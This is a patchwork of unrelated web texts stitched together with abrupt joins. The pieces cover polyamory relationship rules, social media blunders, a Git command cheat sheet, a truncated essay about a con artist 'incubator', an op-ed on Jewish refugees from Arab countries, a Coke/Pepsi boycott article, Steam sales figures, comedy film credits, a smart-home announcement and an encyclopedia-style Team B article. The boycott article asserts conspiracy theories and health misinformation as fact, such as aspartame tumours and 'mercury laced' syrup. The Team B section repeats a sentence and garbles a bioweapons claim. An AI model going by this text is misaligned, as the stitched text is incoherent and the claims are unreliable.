Good relationship rules are not written in invisible ink. If you’re going to have specific rules, they should never unspoken. They should be expressed out loud, and they should be expressed clearly enough that breaking them without realizing you’ve broken them is unlikely to happen.
Good relationship rules are not written in permanent marker. Relationships change, people change, and rules may change as well. Sometimes a particular rule may not work for a particular person, or it may work for a while and then stop working. Regardless, if a rule ceases to work for the people it applies to, it shouldn’t be held sacred. It should be changed or thrown out. Good relationship rules are written in pencil.
Good relationship rules have been thought through. It’s not just important to be explicit and flexible about your rules, it’s important to understand why you’ve made them. For any decent rule, you should ask yourself:
1. What is the purpose of this rule?
2. Does the rule serve the purpose it is intended to serve?
3. Is this rule the only way to serve this purpose?
Credit to Franklin Veaux for the original piece outlining the above questions.
Both you and your partner should know not just what the rules are, but why they are. For what purpose they exist. That way you know if they’re useful, and you know when they ought to be thrown out.
Good relationship rules respect all partners. If you’ve really thought them through, you’ll realize that a lot of the rules built to protect primary relationships do not follow this guideline. For example, say you’re in a “primary” relationship and you decide to open it up to other relationships, but you implement a rule that the primary relationship can axe nonprimary relationships if the people in the primary relationship need some time to focus on each other. The motivation behind this rule is understandable, but this is emphatically not a rule that respects nonprimary partners.
Consider the implications: essentially, this rule being the case, asking a nonprimary partner to become involved with you is asking them to form a relationship with you that they cannot count on under any circumstances. No matter how long that relationship lasts, no matter how close it’s become, the need to “focus on the primary” trumps it, 100%, and without question. Essentially: that nonprimary relationship can be axed at any time without the nonprimary’s consent or input if the primary relationship is perceived as needing some “me” time.
Certainly, it’s understandable for primary relationships to need some “me” time once in a while. However, if that need is extreme enough that it might require jettisoning other relationships in this manner, people in primary relationships should ask themselves whether they’re emotionally mature enough and comfortable enough in their relationships to do poly at all. When you take on other relationships, you take on a responsibility to treat the people in those other relationships like their feelings and the connections they form with you matter. If you can’t do that, you shouldn’t be starting those relationships in the first place.
Good relationship rules are about the relationship they are about. Say you have a full-time job that you really want to keep. Which of the following rules would you say better protects that job:
Rule A: I can have no other jobs or hobbies.
Rule B: I must have at least 40 hours available for this job every week.
Rule A is about other jobs. Rule B is about the specific needs of the job you already have. In my opinion, Rule A is a clumsy way of addressing the need that is clearly illustrated by Rule B. It is possible to have a full-time job and a few hobbies, or even another job if you can make it work right. It can be hard to do, but it’s hard to do because we have limited time and energy, which is the circumstance that Rule B clearly addresses. Rule B is about the current relationship and what it needs. Rule A is about restricting other relationships. Rule A may prevent someone from being overloaded with responsibilities, but it may also prevent someone from having a hobby that would be perfectly manageable.
In short: make your relationship rules specifically about your needs in a relationship, not about disallowing things that you perceive as potentially threatening to those needs. If a particular relationship threatens to add too much stress to a current relationship, then Rule B will cover that just as surely as Rule A would have, but Rule B will do it right.
Don’t make a rule where a respectful partner will do. Put it another way: in relationships, small government is good. Most rules are about getting your needs in a relationship met. Rules are, as a rule, a clumsier way of going about relationship security than clearly communicating your needs and having a partner who actively works to respect those needs. In relationships, it is emphatically better to be able to follow the spirit of the law than the letter of the law.
In a way, I kind of like the idea of, instead of having rules, having some sort of relationship mission statement. “This is what I generally want and need and think about relationships”. You know, if you’re into that kind of thing.
Personally, I often find that rules feel infantilizing. To me, in some ways, being in a relationship where there’s an understanding that I can’t be in any other relationships feels like being in a relationship with a partner who doesn’t trust me to make decisions that are mindful of them. If I value a relationship, I’m going to try to preserve that relationship regardless of whether the rules demand that I do that. I will, entirely on my own, decide to miss out on other relationships if I know I don’t have sufficient time or energy for them, because I value the relationships I’m already in. If I need to be told to value the relationships I’m already in, there are deeper problems than rules.
Relatedly, on to my final point: deal-breakers are better than rules. Framing is important. “I will remove myself from this relationship if X, Y, or Z”, is a much better framework to work from than, “You aren’t allowed to X, Y, or Z”. It discusses intentions, instead of the placing of restrictions. It also, I feel, frames the discussion in a way that gives nonprimary partners more of a voice. Whether a nonprimary partner is allowed to make rules about a relationship can be a tricky subject. Whether a nonprimary partner has the right to leave any relationship that does not work for them should never be in question.
So there you go. My take on rules. What say you?
Note: A reader has pointed out that Rule 1 (no invisible ink) and Rule 6 (spirit > letter, respectful partner > rules) appear to contradict each other. I should clarify: my take is that if you’re going to have rules about specific actions, they should never be unspoken, but that better than either of those is to apply that same logic to the spirit of the rules. I think clearly expressing the impetus for a rule is often more useful than having a rule, and accomplishes much the same thing.
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https://sensay.itThink you know what you’re doing every time you engage in social media? Neither do I, and neither do the social media gurus I spoke to about their biggest social networking blunders. In an effort to learn from others’ mistakes, here’s a list of some all star errors in judgment from some social media all stars. I’ll lead off the order by admitting an error of my own.
Respond to all negative comments – When I, David Spark,
started being seen publically in print, TV, radio, and online I read everyone’s comments, but focused more intently on the negative ones. I wasted a lot of time putting far too much effort into defending myself to these anonymous naysayers than they put into attacking me. I soon understood that some geeks simply can’t help themselves being negative. They’ve got an obnoxious strand of DNA and must constantly try to prove themselves smarter than you.
Participate in flame wars to increase traffic – Similarly, Dana Gardner, blogger for ZDNet, admits he would engage in online arguments just to watch his Web traffic shoot up. But over time Gardner realized that flame wars don’t attract the right kind of audience. “Going to the lowest emotional common denominator to me is an ineffective way of reaching that audience. I’d rather come up with valuable insightful fresh innovative content than appeal to angry white men sitting around computers that don’t have anything else to do,” Gardner said.
Hire a voice talent for $2,000 to read a podcast for you – Paul Dunay, Global Director of Integrated Marketing at BearingPoint and prominent blogger, made a massive blunder when he decided to get into podcasting. His first show was actually a whitepaper read by a voice talent for $2,000. The resulting podcast sounded like a book on tape and he and his colleagues were horrified. That episode was never published, but the voice talent did get paid.
Send a specially selected mass mailing to your friends – Susan Bratton, co-founder and CEO of Personal Life Media, is still having a problem trying to scale individual relationships with social media. Even when she pares down her mailing list of 8,000 to a personally selected mailing of 250, she still gets nasty messages telling her to “take me off this list.”
Assume that social media doesn’t exist until you arrive – Social media strategist Chris Brogan and founder of PodCamp reached out to the New England podcasters' bulletin board and said he was going to invite all the social media rock stars to come to Boston for Podcamp. Nobody responded to what he thought was a generous offer until he saw a response on the board that said, “There are a lot of rock stars in Boston and it’s kind of offensive you got to import them from other places.” Brogan learned from his mistake. Wherever you go on the Web realize there’s been a history. Don’t assume you know everything and discredit what’s been done before you arrived, Brogan said.
Post a comment on your own Facebook profile wall – David Meerman Scott, author of The New Rules of Marketing and PR and the upcoming book World Wide Rave, needed his teenage daughter to point out his massive social networking faux pas. After setting up his Facebook profile, he showed it to his daughter to which she responded, “You’re not supposed to write on your own wall. You’re such a dork, dad.”
Don’t engage with people who only want to push their own initiative – Ego and personal agendas often take over many online communications, and Ross Mayfield, founder of SocialText, used to ignore these self promoters. He doesn’t anymore realizing that these self promoters are looking to create an association with you and your business. “You really want to engage with every conversation that relates with your brand,” Mayfield advised, “Even if you don’t want to necessarily draw attention to the existence of a competitor.”
Over-architect a site with features and content without talking to your customers – Deb Schultz, social media strategist for P&G, fell into the trap of making too many assumptions about what an audience wanted and just started developing a site loaded with features and functionality. It’s what happens when you work at a big company and you don’t see outside of the four walls of the organization. Schultz admitted she should have spent more time talking with customers instead of adding more content to the site.
Be overly careful about everything you say online – Futurist Thornton May claims he still falls into the trap of self-editorializing when writing online. Even though May understands that what makes social media valuable is that it’s authentic, real, and unfinished, he still is extremely careful about what he says and that takes the edge off his online persona. He blames his age and says people of his generation are not familiar nor necessarily comfortable engaging in online discussions.
Don’t come to your own defense when people bad mouth you online – It’s often a good idea to have others defend you in a public debate. But Peter Hirshberg chairman of Technorati and co-founder of The Conversation Group got into a situation where his silence in a debate about a product release was just seen as rather peculiar and it backfired on him.
Accept friend requests from people you barely know – Robin Wolaner, founder of the 40+ social networking site TBD.com, made the mistake of accepting friend requests from people she barely knew. These non-friends on her network happened to be very prolific posters and she couldn’t turn down their noise. Many social networks don’t offer a setting that allows you to only get information from your close friends and not from people you barely know. The only thing she could do was de-friend them, and as a result some were insulted.
Stalk women on Facebook – Stewart Alsop, partner of Alsop Louie Partners, claims this is not a mistake and he’s extremely proud of it. Of his 1200+ friends on Facebook, Alsop claims he has about 400 attractive women as Facebook friends. In his mid-50s, Alsop reaches out to young attractive women and asks if he can be their friend. Many say yes. Alsop says he’s an old guy and it makes him feel as if he’s got something going on. There’s no downside for Alsop. Some may think it’s weird, but it doesn’t change anything for him.
You haven’t done everything right online, have you? Want to fess up to a massive blunder in social media?
David Spark is a veteran tech journalist and the founder of Spark Media Solutions, a custom editorial production company. Read more of Spark at his blog Spark Minute and to read and hear interviews with many of the aforementioned people, subscribe to Spark’s “Be the Voice” blog and podcast.A simple Git cheat sheet for the basic commands and working with a git repo, in our case Github.
To start, you can always use git help to see a basic list of commands.
Git Terminology: master default branch we develop in origin default upstream repo (Github) HEAD current branch remote repository stored on another computer staging (adding) adding changed files to index tree to be committed Here's a good glossary of definitions.
Starting a Repo init/clone/remote
git init Create a repo from existing data git clone (repo_url) Clone a current repo (into a folder with same name as repo) git clone (repo_url) (folder_name) Clone a repo into a specific folder name git clone (repo_url). Clone a repo into current directory (should be an empty directory) git remote add origin https://github.com/username/(repo_name).git Create a remote repo named origin pointing at your Github repo (after you've already created the repo on Github) (used if you git init since the repo you created locally isn't linked to a remote repo yet) git remote add origin git@github.com:username/(repo_name).git Create a remote repo named origin pointing at your Github repo (using SSH url instead of HTTP url) git remote Show the names of the remote repositories you've set up git remote -v Show the names and URLs of the remote repositories git remote rm (remote_name) Remove a remote repository git remote set-url origin (git_url) Change the URL of the git repo git push Push your changes to the origin
Showing Changes status/diff/log/blame
git status Show the files changed git diff Show changes to files compared to last commit git diff (filename) Show changes in single file compared to last commit git diff (commit_id) Show changes between two different commits. git log Show history of changes git blame (filename) Show who changed each line of a file and when
Commit ID: This can be that giant long SHA-1 hash. You can call it many different ways. I usually just use the first 4 characters of the hash.
Undoing Changes reset/revert
git reset --hard Go back to the last commit (will not delete new unstaged files) git revert HEAD Undo/revert last commit AND create a new commit git revert (commit_id) Undo/revert a specific commit AND create a new commit
Staging Files add/rm
git add -A Stage all files (new, modified, and deleted) git add. Stage new and modified files (not deleted) git add -u Stage modified and deleted files (not new) git rm (filename) Remove a file and untrack it git rm (filename) --cached Untrack a file only. It will still exist. Usually you will add this file to.gitignore after rm
Git Workflow Trees: How adding and committing moves files between the different git trees. Working Tree The "tree" that holds all our current files. Index (after adding/staging file) The "staging" area that holds files that need to be committed. HEAD Tree that represents the last commit. How adding and committing moves files between the different git trees.
Publishing commit/stash/push
git commit -m "message" Commit the local changes that were staged git commit -am "message" Stage files (modified and deleted, not new) and commit git stash Take the uncommitted work (modified tracked files and staged changes) and saves it git stash list Show list of stashes git stash apply Reapply the latest stashed contents git stash apply (stash_id) Reapply a specific stash. (stash id = stash@{2}) git stash drop (stash_id) Drop a specific stash git push Push your changes to the origin git push origin (local_branch_name) Push a branch to the origin git tag (tag_name) Tag a version (ie v1.0). Useful for Github releases.
Updating and Getting Code fetch/pull
git fetch Get the latest changes from origin (don't merge) git pull Get the latest changes from origin AND merge git checkout -b (new_branch_name) origin/(branch_name) Get a remote branch from origin into a local branch (naming the branch and switching to it)
Branching branch/checkout
git branch Show all branches (local) git branch -a Show all branches (local and remote) git branch (branch_name) Create a branch from HEAD git checkout -b (branch_name) Create a new branch and switch to it git checkout (branch_name) Switch to an already created branch git push origin (branch_name) Push a branch up to the origin (Github) git checkout -b (new_branch_name) origin/(branch_name) Get a remote branch from origin into a local branch (naming the branch and switching to it) git push origin --delete (branch_name) Delete a branch locally and remotely
Integrating Branches merge/rebase
git checkout master
git merge (branch_name) Merge a specific branch into the master branch. git rebase (branch_name) Take all the changes in one branch and replay them on another. Usually used in a feature branch. Rebase the master to the feature branch so you are testing your feature on the latest main code base. Then merge to the master. git cherry-pick (commit_id) Merge just one specific commit from another branch to your current branch.
Merging: Merging will occur FROM the branch you name TO the branch you are currently in. Rebasing: Usually switch to a feature branch ( git checkout newFeature ). Then rebase ( git rebase master ). Then merge back so you have all the changes of master and the feature branch ( git checkout master, and git merge newFeature ).
There you go! Hopefully that covers most of the basic ones and a few more. If you'd like to see any that haven't been covered here, I'd be happy to add them. Also if you need a further explanation or demonstration, don't be scared to ask. Happy gitting!
Cheat Sheet as a Chrome Extension
Interested in having this cheat sheet available in your Chrome browser for easy access? themergency has created this great Chrome extension!
Download it and enjoy.
Edit #1: Added rebase, cherry-pick, stash, rm Edit #2: Added Chrome Extension by themergencyThe Confidence Incubator
How would you design an incubator to find the best con artists?
Michael Dayah Blocked Unblock Follow Following Aug 31, 2017
Whether for chickens or startups, all incubators do the same thing. They provide ideal conditions to maximize the growth of whatever is desired. How would one design an incubator specifically for con artists? What would bring forth the most devious, ruthless, manipulative hucksters with the greatest skill at taking the most wealth from the greatest number of people? How would you motivate them to maximize their brutality and ferocity and minimize their mercy? What limitless source of fuel would you offer them to ensure their savagery could scale up indefinitely, unencumbered by an environment exhaustible for malevolence?
To find the very best and brightest con artists, we need maximum participation in the game. Either you’re a huckster or a victim. We can’t afford to have people on the sidelines collecting a basic income, being self-sufficient, or even living a normal, middle-class life. Each of these spectators could’ve been a potentially brilliant hustler if properly motivated, or more likely, a source of fuel for a brilliant hustler. We want to find the grandest cons, and if we’re going to help them surface, they need millions of people to take advantage of. A reduced victim pool risks reducing the rewards our finest cons are able to achieve. Either you take wealth from many others, or you produce wealth for the takers. No sitting around.
In order to do this, we’ll first |
any person deemed to have acted “morally or materially in favor of Israel interests." The vague language enabled the authorities to deprive Jews of Libyan nationality at will. It is true that many Jews displaced from Arab countries did immigrate to Israel to fulfill the Zionist dream of returning to the ancient homeland of the Jewish people. However, Ashrawi ignores the fact that of the estimated 856,000 Jews displaced from Arab countries, some two-thirds emigrated to Israel, while roughly one-third - or 285,000 Jews - sought a safe haven in countries other than Israel. Zionism played no role in their departure and many would have preferred to stay.Jews have lived in North Africa, the Middle East and the Gulf Region for over 2,500 years – 1,000 years before the birth of Islam. In the twentieth century, all were caught in a "push-pull" scenario. Due to longstanding and mounting persecution, Jews in most Arab countries realized that there was no long term future for them and their families in their countries of birth - the push theory. In deciding where to go, for many, the pull theory was paramount - resettle in the Jewish homeland in Israel. However, whether Jews displaced from Arab countries resettled in Israel or elsewhere, they were still considered by the UNHCR, under international law, to be refugees.Asrawi is being disingenuous in expressing the hope that Jews would be allowed to return to Arab countries. She knows well that there are no democratic Arab regimes that respect pluralism.Does she expect Jews to return to Arab countries where anti- Semitism is rampant and Jews, at best, would return to the second-class status of(non-Muslim subjects of a Muslim state)? Ashrawi is correct in drawing a distinction between Arab and Jewish refugees. Indeed, there is a fundamental distinction between the two narratives.Israel, opened her doors to hundreds of thousands of Jewish refugees from Arab countries, granted them citizenship, and tried, under very difficult circumstances, to absorb them into Israeli society.By contrast, the Arab world, with the sole exception of Jordan, turned their backs on displaced Palestinian Arabs.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>Coke Idol and You: What is wrong with Coke,
is everything that’s wrong with America.
Tony Cartalucci, Contributing Writer
Activist Post
Bangkok, Thailand April 14, 2011 – We’ve told you who, in “Naming Names,” now it’s time to tell you how. Many may ask, “How exactly can we boycott the globalists when they control everything?”
The answer is by systematically boycotting and replacing them with local alternatives. You can actually start today, by boycotting corporations you may not have even considered part of this nefarious agenda and corporations you not only can certainly live without, but would be better off for it. It requires absolutely no money at all, in fact, it will save you money in the long run and if you decide to replace them, you may learn a valuable skill-set in the process.
The focus will fall first on Coca-Cola and Pepsi. Two very similar corporations which populate both the Brookings Institute and the Council on Foreign Relations, unelected, extra-legal conglomerations that conspire and contrive world policy, world wars, and the means to implement them for the sole benefit of its corporate membership, entirely at your expense both in blood and treasure. (See: War is a Racket by Smedley Butler.)
What’s Wrong with Pepsi & Coke?
Conflict of Interest: Pepsi and Coke are both corporate members of the Brookings Institute, who for example, published “Which Path to Persia?,” a 156-page report detailing methods to institute regime change in Iran. These methods range from foreign funded color revolutions and covert military operations, to arming terrorist groups (including MEK which has killed Americans) and all-out invasion.
Even if you believe Iran represents a clear and present danger, wouldn’t it be the job of our elected representatives to determine a course of action? Couldn’t these “experts” be assembled into a committee under the watchful eyes of representatives elected by the people, even if they required a degree of secrecy? How does any functioning democratic society then tolerate a corporate funded organization comprised of unelected “experts” with absolutely no oversight and the ability to ultimately steer American policy? Because, indeed, much of what was written in “Which Path to Persia?” has already become a reality, without the consent, and in many cases, without the knowledge of the American people.
Another example comes from the Council on Foreign Relations (CFR), to which Pepsi and Coke are also both corporate members. Many of the reports coming from the CFR end up becoming public policy. Again, unelected businessmen, bankers, and policy wonks funded by corporate special interests steer American policy, including the myriad of laws, rules, regulations, and tax structures that protect megalithic monopolies like Pepsi and Coke.
The “Building a North American Community” report from 2005 spelled out in detail the integration of Canada, the United State, and Mexico into a European Union-style superstate. Incrementally, and against the will of the American people, this agenda has been slowly unfolding into what has become the Security and Prosperity Partnership (SPP), another cleverly named stepping-stone to supernationality.
You will find not only Pepsi and Coca-Cola as corporate members of these clandestine, meddling organizations, you will find their people sitting in as individual members as well. Just like JP Morgan during the robber baron age, these people end up running corporations not for their love of their trade, railroads and steel for Morgan, in Pepsi and Coke’s case, bubbly beverages, but rather to exploit the immense amount of wealth they produce with their national and global monopolies.
These corporations rival the size and prosperity of some nation-states. Collectively, the Fortune 500, through their coordination via organizations like Brookings and the CFR, comprise a “dark nation” that exists beyond borders and the typical limitations of the traditional nation-state. However, technology has made it possible to live without most of these overgrown corporations, where local businesses can most certainly accomplish anything they can, sometimes more.
Certainly, however, in the case of beverages we as individuals and as communities are more than capable of creating, exchanging and enjoying beverages without any corporation involved at all. Why then do we insist on pooling our collective resources in their hands to give us flavored sugar water? Many would cite regulations and taxation that prohibit us from producing and selling locally, such regulations born from these immensely influential corporations in the first place. This is all the more reason to boycott them and put them out of business.
Why would such an Coke: Enjoy (your brain tumor.) Monsanto says aspartame is safe,Why would such an ethically conscious corporation like Monsanto lie?
Your Health: Another reason to boycott Pepsi and Coca-Cola in particular is because everything they sell is horrible for your health. A look at their product lists shows us a parade of sugary, aspartame infested, preservative packed, chemically contrived-mercury laced HFCS dripping, salt encrusted garbage. Americans need not look but past their own waistline to see that they are literally slow-killing us. Of course, everyone and anyone is more than welcome to choose for themselves how they live but if you would like another reason to boycott these corporations, being better off with your health without them is certainly a good one.
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Pepsi Product Lines
A full list with links to individual product line websites can be found here. Don’t be fooled. Pepsi Co. doesn’t just sell the tooth rotting cola drink of their namesake, they are also the purveyors of:
Drinks: AMP, Aquafina, Gatorade, Lipton, Starbucks Coffee, Tropicana, and many more.
Food: Lay’s, Doritos, Tostitos, Cheetos, Fritos, Sun Chips, everything from Quaker Oats, Ruffles and many more.
Coca-Cola Product Lines
Frankly, the Coca-Cola list is too long to put on a single page. You can go to their website and see for yourself the extensive empire they have built, including brands that come from around the world. The full list can be found here. Below are only a few examples.
Conclusion
As you can see, almost everything you put in your mouth comes from these two corporations, and any exception to this most likely is in the form of another similar globalist conglomerate like Nestle, or bought from the globalist consumer troughs at Walmart (also a CFR corporate member.) The implications of these two, extraordinary lengthy lists of products that are found worldwide, gives us a real metric by which to measure the reach and depth this planet is infested with by corporate interests. It permeates nearly every aspect of our lives, and many unwitting souls entirely depend on them, and by doing so, are entirely at their mercy.
You may be tempted to throw your hands up at what seems like a futile task. But honestly, what your body really needs can always be found locally. Filtered water, locally grown produce, and homegrown garden vegetables most definitely would not only be better for you, but better for society. If you understand the gravity of what the above list represents, you must also understand that no excuse stands for continuing to fund these nefarious, expansive empires.
Coke and Pepsi and the products they peddle can certainly done without. Nothing in the above list you require to live. Even bottled water, in the long run, is more expensive (economically and socially) than quality water filtration systems or atmospheric water generators (dehumidifiers with water filters built-in.) While ultimately we will need to break our dependence on corporations like Walmart, Target, and the big oil corporations, etc., starting by putting these two giants into their graves and replacing them with healthy, local alternatives is an excellent start.
Economic and financial expert Max Keiser breaks
down the power of voting with your wallet.The best-selling games on Steam have been revealed for 2015 thanks to SteamSpy, and unsurprisingly, Grand Theft Auto V has run away with the numbers following its release on PC in April. That seems so long ago now…
Fallout 4 is right there at the top despite being available for the least amount of time out of all the games which made the top 25, having just shy of 2.5 million owners on Steam within two months of going on sale.
Ark: Survival Evolved follows closely behind after shifting over 2 million copies. 2015 was certainly another year full of survival games and 2 out of the top 4 are just that, with H1Z1 joining Ark: Survival Evolved. Stranded Deep is the other survival game on the list at number 17, selling an impressive 585,512 copies.
The Witcher 3: Wild Hunt, despite being one of the best selling games of the year, only comes in at number 9 with over 1 million copies sold. However it is worth nothing that CD Projekt Red offered the game through their own online platform GOG, which was also DRM free so a big percentage of players will own The Witcher 3 on PC for GOG.
Here is the the list of the best selling Steam games in full:In his new movie, Ralph Macchio faces his toughest challenge yet; to become a Hollywood bad boy. With Karate Kid returning to the big screen, his career fading his friends and family are forced to stage an intervention. In order to re-establish himself in the entertainment industry he hits the streets of Los Angeles to show everyone how tough he can be. Coming soon, "Wax On, Fuck Off"
Director/Show Lead Todd Holland Actor Molly Ringwald Actor Kevin Connolly Actor Pat O'Brien Actor Michael Lerner Executive Producer Funny Or Die Writer Chad Carter Writer Chris Kula Cinematographer Antonio Scarlata Actor June Diane Raphael Hair and Makeup Shauna O'Toole Hair and Makeup Shauna O'Toole Producer Christin Trogan
Starring Ralph Macchio as Himself
Featuring Molly Ringwald, Kevin Connelly, Pat O'Brien, and Michael Lerner
Also featuring June Raphael, Tiffany Haddish, Jack Lozano, Stephen Halasz, Phil Powers, Conor Patrick Lane, Patty McCollim, Peter Cameron, Shane Arenal, & Allison Gersten
Directed by Todd Holland
Written by Chris Kula and Chad Carter
Concept by Ralph Macchio
Director of Photography: Antonio Scarlata
Produced by Christin Trogan
Executive Producer: Mike Farah
Edited by John M. Valerio
B Camera Operators: Zachary Zdzeibko & Scott Johnson
ACs: Spencer Cole Hutchins and Matt Mazany
First AD: David D'Ovidio
G&E: Ricky Fosheim, Kevin Stewart, Juian Lormant, & Richard Kim
Sound: BoTown Sound
Art Design: Caity Birmingham, Ayse Arf, & Jessica Valentine
Makeup and Hair: Shauna O'Toole
Wardrobe: Leslie Schilling
Production Assistants: Jon Ziskal, Michelle Flowers, Elliot Dickerhoof & Lily Fettis
Stuntment: Eric Linden & Joe Fielder
Extras: Sy Ozcan, Stefan Thom, Rick Quaresma, Jennifer Bashian, Josh George, Kendall Anlian, Graig Cooper, Shannon Madden, Sara Tenger, Jessica Buchholz, Julia Corpion, Scott Hayes, Rachel Hastings, Tanya Shaby, Chris Mastro, Joe Reilly, Brian Edwards, Michelle Flowers
Assistant to Mr. Holland: Sara Woomer
Special Thanks to Jason Sereno, Brian Mulchy, Dustin Bowser, Brian Lane, and Cinespace of HollywoodIn December, Google announced it was updating its Weave platform to make it easier for connected devices and platforms – Wink included – to work with services like the Google Assistant.
Starting today, we’re excited to announce Wink-compatible lighting products (light bulbs, switches, dimmers, and outlets) and thermostats can now be controlled with the Google Assistant on Google Home!
If you’re not familiar, Google Home is a voice-activated speaker powered by the Google Assistant. A quick voice command triggers the Google Assistant on Google Home to help you get answers, enjoy music, manage your everyday tasks and now, control your Wink-compatible lighting products and thermostats, just start by saying, “Ok Google."
Connecting Wink with Google Home is easy:
Add your Google Home device to your Google Home app (available for free download from Google Play and the iTunes Store). Tap the menu button on the upper left corner of the main page of your Google Home app. Tap “Home Control.” Tap the “+” button in the lower right corner. Select “Wink.” Enter the email and password associated with your Wink account.
That’s it! From there, you can turn both individual and groups of lights on / off or dim them to your desired brightness. For example, just say Ok Google, turn Downstairs on or Ok Google, set Hallway Light to 50 percent and you’re in business. It’s as simple as that.
Changing the temperature is just as easy. Say Ok Google, set Bedroom thermostat to 70 degrees or Ok Google, turn up the temperature by 5 degrees and your wish becomes Google Home’s command.
We’re big fans of voice control. Wink was the first smart home platform to work with voice assistants because we recognized how perfectly voice complements other interfaces like wearables and mobile phones when it comes to controlling your connected devices.
The Google Assistant on Google Home’s powerful artificial intelligence and machine learning capabilities extend the possibilities for voice control into new arenas. We’re thrilled to bring that to Wink.Team B was a competitive analysis exercise commissioned by the Central Intelligence Agency (CIA) to analyze threats the Soviet Union posed to the security of the United States. It was created, in part, due to a 1974 publication by Albert Wohlstetter, who accused the CIA of chronically underestimating Soviet military capability. Years of National Intelligence Estimates (NIE) that were later demonstrated to be very wrong were another motivating factor.
President Gerald Ford began the Team B project in May 1976, inviting a group of outside experts to evaluate classified intelligence on the Soviet Union. Team B, approved by then-Director of Central Intelligence George H. W. Bush, was composed of "outside experts" who attempted to counter the arguments of intelligence officials within the CIA.[1] The intelligence community was in the process of putting together its own assessment at the same time.
[2] The Soviets strove for "nuclear superiority", especially in terms of numbers of ICBMs beginning in the 1970s, which in an oral history project conducted years later, was intended to overtake Washington.[3] United States and Soviet Union/Russia nuclear stockpiles.The Soviets strove for "nuclear superiority", especially in terms of numbers of ICBMs beginning in the 1970s, which in an oral history project conducted years later, was intended to overtake Washington.
Team B concluded that the NIE on the Soviet Union, compiled and produced annually by the CIA, chronically underestimated Soviet military power and misinterpreted Soviet strategic intentions. Its findings were leaked to the press shortly after Jimmy Carter's 1976 presidential election win in an attempt to appeal to staunch anticommunists in both parties and also not to appear partisan.[4][5] The Team B reports became the intellectual foundation for the idea of "the window of vulnerability" and of the massive arms buildup that began toward the end of the Carter administration and accelerated under President Ronald Reagan.[6]
Some scholars and policy-makers, including Anne Hessing Cahn of the Arms Control and Disarmament Agency, later criticized the Team B project's findings.[7][8] Many of these experts argued that the findings were grossly inaccurate.[9][10]
A major aspect supporting Team B's "window of vulnerability" sentiment was confirmed when Sergei Popov defected. His testimony led to the discovery in the 1990s that Premier Gorbachev and his predecessors had clandestinely overseen the development of ever-stronger nuclear weapons. They also actively spread disinformation about the nature of the "Biopreparat" program. This program breached the 1972 Biological Weapons Convention (BWC) that was to eliminate all biological weapons. Instead, the Soviet Union had engineered, produced, and stockpiled tons of biological agents after signing the 1972 BWC, rationalizing this deceit to the 30,000 or so Soviet biologists, by claiming that the US was doing the same.[11] Popov and others later denounced their Soviet superiors for creating this asymmetry of vulnerability and for misleading them.[12]
Creation [ edit ]
A number of conservative foreign policy intellectuals worried that the U.S. was sacrificing strategic position in the early 1970s by embracing détente. In response, Albert Wohlstetter, a professor at the University of Chicago, accused the CIA of systematically underestimating Soviet missile deployment in his 1974 Foreign Policy article, "Is There a Strategic Arms Race?" Wohlstetter concluded that the United States was allowing the Soviet Union to achieve military superiority by not closing a perceived missile gap. Many conservatives then began concerted attacks on the CIA's annual assessment of the Soviet threat.[6][13]
White House Chief of Staff Donald Rumsfeld started making speeches arguing that the Soviets were ignoring Secretary of State Henry Kissinger's treaties and secretly building up their weapons so that they could eventually attack the United States. Rumsfeld used his influence to persuade President Ford to set up an independent inquiry. Rumsfeld and Paul Wolfowitz wanted to create a much less charitable picture of the Soviet Union, its intentions, and its views about fighting and winning a nuclear war.[14][15][16] The organization chosen by the Ford administration to challenge the CIA's analysis was the President's Foreign Intelligence Advisory Board (PFIAB).
In 1975, PFIAB members asked CIA Director William Colby to approve a project that would result in comparative assessments of the Soviet threat. Colby refused, stating it was hard "to envisage how an ad hoc independent group of analysts could prepare a more thorough, comprehensive assessment of Soviet strategic capabilities than could the intelligence community."[17] Colby was removed from his position in the November 1975 Halloween Massacre; Ford has stated that he had made the decision alone,[18] but the historiography of the "Halloween Massacre" appears to support the allegations that Rumsfeld had successfully lobbied for this.[19]
When George H. W. Bush became the Director of Central Intelligence in 1976, the PFIAB renewed its request for comparative threat assessments. Although his top analysts argued against such an undertaking, Bush checked with the White House, obtained a go-ahead, and by May 26 had signed off on the experiment.[6] A team of 16 "outside experts" were to take an independent look at highly classified data used by the intelligence community to assess Soviet strategic forces in the yearly National Intelligence Estimates.[6][20]
There were three teams:
One studied Soviet low-altitude air defense capabilities,
Another examined Soviet intercontinental ballistic missile (ICBM) accuracy, and
The third investigated Soviet strategic policy and objectives.
It was the third team, chaired by Harvard University professor Richard Pipes, that ultimately received the most publicity. It is now referred to as Team B.[6]
Members [ edit ]
PFIAB's Team B was headed by Richard Pipes, a Harvard historian and specialist in Russian history. Team B's members included Daniel O. Graham, Thomas Wolf, John Vogt, and William Van Cleave.[21][22] Advisers included Foy D. Kohler, Seymour Weiss, Jasper Welch, Paul Wolfowitz, and Paul Nitze, who had been instrumental in the creation of the Committee on the Present Danger (CPD) in 1950. Its objectives were to raise awareness about the Soviets' alleged nuclear dominance and to pressure American leaders to close the missile gap.[17][23]
Detailed sections [ edit ]
Part One [ edit ]
Judgments of Soviet Strategic Objectives Underlying NIE's and their Shortcomings
The first section of the report dealt with the team's criticisms of the NIE's assessment of Soviet strategic objectives. It was the conclusion of the report, that the NIE was mostly wrong to view Soviet strategic actions as primarily a response to its history of being invaded and that the NIE ignored or misinterpreted evidence that most Soviet strategic actions were offensive rather than defensive in nature. The report also rejected the NIE's conclusion that as the Soviet Union grew more powerful and capable its foreign policy would also become less aggressive.[24]
Part Two [ edit ]
A critique of the NIE interpretation of certain Soviet Strategic Developments
The second section of the report was primarily a criticism of the NIE's conclusions regarding Soviet strategic weapons programs, and how they are integrated into conventional Soviet forces and what impacts they have on Soviet strategic goals and plans. The report argued that the NIE underestimated the threat posed by Soviet strategic weapons programs, and that the development and deployment of several new weapons platforms and advancements in existing technologies would drastically alter the advantages that the United States and NATO had over the Warsaw Pact. The report cited these specific areas to reinforce its assessment:
Soviet ICBM and SLBM Programs: The report cited the recent development of Soviet MIRV missile technology, coupled with a rapid modernization of ICBM and SLBM targeting capabilities to argue that the NIE was underestimating the impact of the sophistication, effectiveness and threat of numerical superiority that the Soviet strategic missile program was posing. [25]
